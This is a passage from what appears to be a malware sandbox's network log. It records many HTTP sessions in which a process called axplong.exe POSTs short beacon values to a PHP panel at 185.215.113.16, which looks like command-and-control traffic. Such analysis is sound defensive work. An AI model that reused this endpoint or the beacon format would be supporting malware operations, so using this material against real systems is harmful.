                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:04.155088902 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:04 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:03:04.156084061 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:04.383002996 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:04 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      56192.168.2.849768185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:04.496404886 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:05.223476887 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:05 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:03:05.224349022 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:05.460809946 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:05 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      57192.168.2.849769185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:05.578154087 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:06.305886030 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:06 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      58192.168.2.849770185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:06.314284086 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:07.054560900 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:06 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      59192.168.2.849771185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:07.171538115 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:07.884605885 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:07 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      60192.168.2.849772185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:07.894144058 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:08.633831024 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:08 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      61192.168.2.849773185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:08.748604059 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:09.455537081 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:09 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      62192.168.2.849774185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:09.464039087 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:10.312846899 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:10 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      63192.168.2.849775185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:10.436522007 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:11.134490013 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:11 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:03:11.141901016 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:11.365715027 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:11 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      64192.168.2.849776185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:11.486489058 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:12.195040941 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:12 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:03:12.440891981 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:12.666821957 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:12 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      65192.168.2.849777185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:12.780448914 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:13.473465919 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:13 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      66192.168.2.849778185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:13.483611107 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:14.206523895 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:14 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      67192.168.2.849779185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:14.327819109 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:15.021306038 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:14 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      68192.168.2.849780185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:15.255455017 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:15.838093042 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:15 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      69192.168.2.849781185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:15.960305929 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:16.646750927 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:16 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      70192.168.2.849782185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:16.655821085 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:17.389102936 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:17 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      71192.168.2.849783185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:17.499846935 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:18.190360069 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:18 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      72192.168.2.849784185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:18.200252056 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:18.955430031 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:18 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0
                      Sep 27, 2024 07:03:19.261369944 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:18 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      73192.168.2.849785185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:19.262376070 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:19.975303888 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:19 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      74192.168.2.849786185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
